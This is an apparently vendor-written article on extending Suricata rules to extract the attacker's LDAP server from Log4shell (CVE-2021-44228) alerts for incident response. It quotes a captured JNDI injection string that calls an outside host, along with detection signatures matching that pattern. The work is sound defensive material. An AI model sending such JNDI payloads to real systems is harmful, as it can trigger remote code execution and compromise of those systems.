Following the 10-December-2021 announcement of (CVE-2021-44228), Log4shell scanners have begun to appear everywhere. Proofpoint’s Emerging Threats (ET) group has done an amazing job providing timely Suricata signatures that detect these scanners on enterprise networks. Sadly though, because of the nature of Log4shell, these signatures can only detect attempts to exploit, and more work is necessary to find out if the attacks have been successful.
In this article, we outline an advanced Suricata signature technique that can dramatically simplify the evidence collection for what is a particularly simple attack with complex consequences.
The scanners/attacks try to exploit the Log4j vulnerability by sending carefully-crafted strings in various fields of the protocols that could trigger the Remote Code Execution (RCE). Their hope is that somewhere in the logging infrastructure there will be a vulnerable system that will then react to the exploit and download the attack payload from a server owned by the attacker.
Example Suricata Signature for Log4j (from ET)
The signature “ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)” (sid 2034647) is a good example of these detections.
ALERT 1
Let’s take one example of an alert (expunged for clarity) generated from a PCAP of Malware Traffic Analysis (https://www.malware-traffic-analysis.net/2021/12/14/index.html) containing Log4shell attempts:
{
"timestamp": "2021-12-12T01:08:30.978428+0100",
"event_type": "alert",
"src_ip": "128.199.15.215",
"src_port": 49114,
"dest_ip": "198.71.247.91",
"dest_port": 80,
"proto": "TCP"
"alert": {
"signature": "ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)",
},
"http": {
"hostname": "198.71.247.91",
"url": "/",
"http_user_agent": "${jndi:ldap://45.137.21.9/http80useragent}",
"http_content_type": "text/html",
"http_method": "GET",
"protocol": "HTTP/1.1",
"status": 200,
"length": 51
}
Here we can see that the HTTP user agent contains something that looks unusual:
${jndi:ldap://45.137.21.9/http80useragent}
It appears that the scanner tried to use the user agent to create an expansion by the JNDI library that will trigger the RCE. And we can see that an IP address is used in the ldap parameter and that this IP (45.137.21.9) is different from the source IP (128.199.15.215). This means we can’t assume we have a simple connection back to the source IP as proof of a successful attempt. Consequently, we must check for the existence of a communication to the IP address identified in the ldap parameter.
The diagram below shows the roles of the various participants in the attack captured in the alert above.
For example, using Elasticsearch, we can perform the following request:
event_type:”flow” AND dest_ip:”45.137.21.9”
The problem here is that we must do this manually for every attempt. So this is particularly painful. And for most organizations, it is cost-prohibitive.
ALERT 2
The metadata contained in Suricata alerts are wonderful, but not all fields are extracted by default. And on a different attempt trying to inject a payload on different protocol fields, we end up with the following (expunged) alert:
{
"timestamp": "2021-12-12T09:22:38.100532+0100",
"event_type": "alert",
"src_ip": "177.185.117.129",
"src_port": 42452,
"dest_ip": "198.71.247.91",
"dest_port": 80,
"proto": "TCP",
"alert": {
"signature": "ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)",
},
"http": {
"hostname": "198.71.247.91",
"url": "/",
"http_user_agent": "curl/7.58.0",
"http_method": "GET",
"protocol": "HTTP/1.1",
"length": 0
}
}
Here, there is no field that exhibits a value containing "jndi" and we don’t see any other unusual field. As such, we have no evidence of the IP that connects back to the RCE server. The attempt was probably made in a protocol field that was not logged by Suricata in the event, such as an uncommon HTTP headers. So we have a real problem that even working time can’t fix.
Identify RCE Servers used in a Successful Attack
What we need to do is create improved signatures that return the IP address of any RCE servers that have been used in successful attacks. Armed with this information, we can then review any and all communications with these RCE servers, and begin remediation.
The good news is that Suricata offers an elegant solution to this problem: it is possible to extract interesting values from the stream and get the result in the alert.
So, how do we do this?
First, let’s look at the active part of the signature:
alert http any any -> any any (msg:"ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern;)
So this is looking over HTTP flow for "|24 7b|jndi|3a|ldap|3a 2f 2f|" which translated to standard characters means “${jndi:ldap://”.
Next, if we look at our previous user agent ${jndi:ldap://45.137.21.9/http80useragent}, what is interesting is the IP or FQDN that can be found just after, so we could complement this signature with the following regular expression and use the regular expression extraction - a feature available in Suricata since 2012:
pcre:"/([^:/$]+)/R,flow:rce_server”
This regular expression then starts a group (match between parentheses). The group is anything that is not “:”, “/”, or end of line. And finally after the last “/,” the R indicates the match is relative to the previous content search (so our jndi + protocol string). The last part after the comma indicates that the content of the group has to be set in the flowbits variable named "rce_server."
So, the resulting signature looks like this:
alert http any any -> any any (msg:"ET/SN EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)"; content:"|24 7b|jndi|3a|ldap|3a 2f 2f|"; nocase; fast_pattern; pcre:"/([^:/$]+)/R,flow:rce_server"; )
Thanks to this modification, the alert now contains a metadata.flowvars.rce_server field whose value is the IP address used for fetching the payload (RCE server). See the resulting alert below.
{
"timestamp": "2021-12-12T09:22:38.100532+0100",
"event_type": "alert",
"src_ip": "177.185.117.129",
"src_port": 42452,
"dest_ip": "198.71.247.91",
"dest_port": 80,
"proto": "TCP",
"metadata": {
"flowvars": [
{
“rce_server": "45.83.193.150"
}
]
},
"alert": {
"signature": "ET EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)",
},
"http": {
"hostname": "198.71.247.91",
"url": "/",
"http_user_agent": "curl/7.58.0",
"http_method": "GET",
"protocol": "HTTP/1.1",
"length": 0
}
}
Collecting evidence of successful Log4shell attempts is now as easy as searching for communication to the list of unique values stored in the rce_server key.
From the command line, you can just use the awesome jq tool to extract the list of RCE servers:
cat eve.json |jq 'select(.event_type=="alert")|.metadata.flowvars[0].rce_server' | sort | uniq
"193.3.19.159"
"45.137.21.9"
"45.83.193.150"
"http80useragent.kryptoslogic-cve-2021-44228.com"
But you can also use a query in the data lake. For example in Elasticsearch/Kibana via a visualization:
Get the New Suricata Log4shell Signatures
We have applied this modification to a subset of the ET signatures for detecting Log4shell. You can find the files with the modified signatures from https://github.com/StamusNetworks/labs/blob/main/suricata/rules/cve-2021-44228.rules.
These new signatures may be used in parallel with the original ET signatures. The modified signatures have signature IDs that are incremented by 1000000, and the alert messages begin with “ET/SN”.
We hope that this article demonstrates that Suricata signatures can provide excellent context for incident response – even in a case with complex system and attack architecture.
Note: while this article focuses on the benefit to Suricata users, this technique and these rules also apply to users of SELKS, Stamus ND, and Stamus NDR which are built using the underlying Suricata engine. Current users of SELKS, Stamus ND, and Stamus NDR must define a custom source in the management interface pointing to the rules in Github in order to incorporate these rules.
